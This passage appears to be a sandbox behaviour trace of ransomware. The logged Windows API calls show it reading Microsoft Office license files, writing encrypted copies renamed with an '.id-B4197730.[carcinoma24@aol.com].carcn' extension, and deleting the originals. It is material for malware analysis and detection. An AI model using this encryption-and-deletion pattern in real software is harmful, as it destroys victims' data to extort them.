Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0285.086] lstrlenW (lpString=".zip") returned 4 [0285.086] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString=".rar") returned 4 [0285.086] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString=".bz2") returned 4 [0285.086] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString=".7z") returned 3 [0285.086] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0285.086] lstrlenW (lpString=".dbf") returned 4 [0285.086] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0285.086] lstrlenW (lpString=".1cd") returned 4 [0285.086] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_OEM_Perp-ul-oob.xrm-ms") returned 79 [0285.087] lstrlenW (lpString=".jpg") returned 4 [0285.087] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.087] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10627) returned 1 [0285.087] CloseHandle (hObject=0x414) returned 1 [0285.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 0x220 [0285.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0285.089] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.089] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0285.090] GetLastError () returned 0x0 [0285.090] ReadFile (in: hFile=0x414, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2983, lpOverlapped=0x0) returned 1 [0285.152] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2990, lpOverlapped=0x0) returned 1 [0285.154] ReadFile (in: hFile=0x414, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.154] WriteFile (in: hFile=0x54c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x102, lpOverlapped=0x0) returned 1 [0285.154] SetEndOfFile (hFile=0x54c) returned 1 [0285.162] CloseHandle (hObject=0x54c) returned 1 [0285.163] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.163] SetEndOfFile (hFile=0x414) returned 1 [0285.174] CloseHandle (hObject=0x414) returned 1 [0285.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-pl.xrm-ms")) returned 1 [0285.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0285.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0285.319] lstrlenW (lpString=".doc") returned 4 [0285.319] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString=".docx") returned 5 [0285.319] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.319] lstrlenW (lpString=".pdf") returned 4 [0285.319] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString=".xls") returned 4 [0285.319] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString=".xlsx") returned 5 [0285.319] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.319] lstrlenW (lpString=".ppt") returned 4 [0285.319] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0285.319] lstrlenW (lpString=".zip") returned 4 [0285.319] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString=".rar") returned 4 [0285.319] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString=".bz2") returned 4 [0285.319] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.319] lstrlenW (lpString=".7z") returned 3 [0285.319] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0285.319] lstrlenW (lpString=".dbf") returned 4 [0285.320] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0285.320] lstrlenW (lpString=".1cd") returned 4 [0285.320] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-pl.xrm-ms") returned 73 [0285.320] lstrlenW (lpString=".jpg") returned 4 [0285.320] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.321] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11609) returned 1 [0285.321] CloseHandle (hObject=0x370) returned 1 [0285.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0285.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.322] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.322] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0285.323] GetLastError () returned 0x0 [0285.323] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d59, lpOverlapped=0x0) returned 1 [0285.340] WriteFile (in: hFile=0x53c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0285.341] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.341] WriteFile (in: hFile=0x53c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x114, lpOverlapped=0x0) returned 1 [0285.342] SetEndOfFile (hFile=0x53c) returned 1 [0285.342] CloseHandle (hObject=0x53c) returned 1 [0285.342] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.342] SetEndOfFile (hFile=0x370) returned 1 [0285.628] CloseHandle (hObject=0x370) returned 1 [0285.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.629] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0285.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0285.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0285.630] lstrlenW (lpString=".doc") returned 4 [0285.630] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.630] lstrlenW (lpString=".docx") returned 5 [0285.630] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.630] lstrlenW (lpString=".pdf") returned 4 [0285.630] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.630] lstrlenW (lpString=".xls") returned 4 [0285.630] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.630] lstrlenW (lpString=".xlsx") returned 5 [0285.630] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.630] lstrlenW (lpString=".ppt") returned 4 [0285.630] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0285.630] lstrlenW (lpString=".zip") returned 4 [0285.630] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.630] lstrlenW (lpString=".rar") returned 4 [0285.631] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.631] lstrlenW (lpString=".bz2") returned 4 [0285.631] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.631] lstrlenW (lpString=".7z") returned 3 [0285.631] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0285.631] lstrlenW (lpString=".dbf") returned 4 [0285.631] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0285.631] lstrlenW (lpString=".1cd") returned 4 [0285.631] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0285.631] lstrlenW (lpString=".jpg") returned 4 [0285.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.632] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19921) returned 1 [0285.632] CloseHandle (hObject=0x370) returned 1 [0285.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 0x220 [0285.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.633] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.633] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0285.634] GetLastError () returned 0x0 [0285.634] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x4dd1, lpOverlapped=0x0) returned 1 [0285.636] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4de0, lpOverlapped=0x0) returned 1 [0285.637] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.637] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x106, lpOverlapped=0x0) returned 1 [0285.638] SetEndOfFile (hFile=0x49c) returned 1 [0285.638] CloseHandle (hObject=0x49c) returned 1 [0285.638] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.638] SetEndOfFile (hFile=0x370) returned 1 [0285.641] CloseHandle (hObject=0x370) returned 1 [0285.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0285.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0285.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0285.643] lstrlenW (lpString=".doc") returned 4 [0285.643] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.643] lstrlenW (lpString=".docx") returned 5 [0285.643] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.643] lstrlenW (lpString=".pdf") returned 4 [0285.643] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.643] lstrlenW (lpString=".xls") returned 4 [0285.643] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.643] lstrlenW (lpString=".xlsx") returned 5 [0285.644] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.644] lstrlenW (lpString=".ppt") returned 4 [0285.644] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0285.644] lstrlenW (lpString=".zip") returned 4 [0285.644] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.644] lstrlenW (lpString=".rar") returned 4 [0285.644] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.644] lstrlenW (lpString=".bz2") returned 4 [0285.644] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.644] lstrlenW (lpString=".7z") returned 3 [0285.644] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0285.644] lstrlenW (lpString=".dbf") returned 4 [0285.644] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0285.644] lstrlenW (lpString=".1cd") returned 4 [0285.644] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0285.644] lstrlenW (lpString=".jpg") returned 4 [0285.644] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.645] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11219) returned 1 [0285.645] CloseHandle (hObject=0x370) returned 1 [0285.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0285.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0285.646] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.646] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0285.647] GetLastError () returned 0x0 [0285.647] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x2bd3, lpOverlapped=0x0) returned 1 [0285.649] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2be0, lpOverlapped=0x0) returned 1 [0285.650] ReadFile (in: hFile=0x370, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.650] WriteFile (in: hFile=0x49c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0x128, lpOverlapped=0x0) returned 1 [0285.650] SetEndOfFile (hFile=0x49c) returned 1 [0285.651] CloseHandle (hObject=0x49c) returned 1 [0285.651] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.651] SetEndOfFile (hFile=0x370) returned 1 [0285.654] CloseHandle (hObject=0x370) returned 1 [0285.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.654] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0285.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0285.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0285.655] lstrlenW (lpString=".doc") returned 4 [0285.655] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.655] lstrlenW (lpString=".docx") returned 5 [0285.655] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.655] lstrlenW (lpString=".pdf") returned 4 [0285.655] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.655] lstrlenW (lpString=".xls") returned 4 [0285.655] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.655] lstrlenW (lpString=".xlsx") returned 5 [0285.655] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.655] lstrlenW (lpString=".ppt") returned 4 [0285.656] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 [0285.656] lstrlenW (lpString=".zip") returned 4 [0285.656] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.656] lstrlenW (lpString=".rar") returned 4 [0285.656] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.656] lstrlenW (lpString=".bz2") returned 4 [0285.656] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.656] lstrlenW (lpString=".7z") returned 3 [0285.656] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-pl.xrm-ms") returned 92 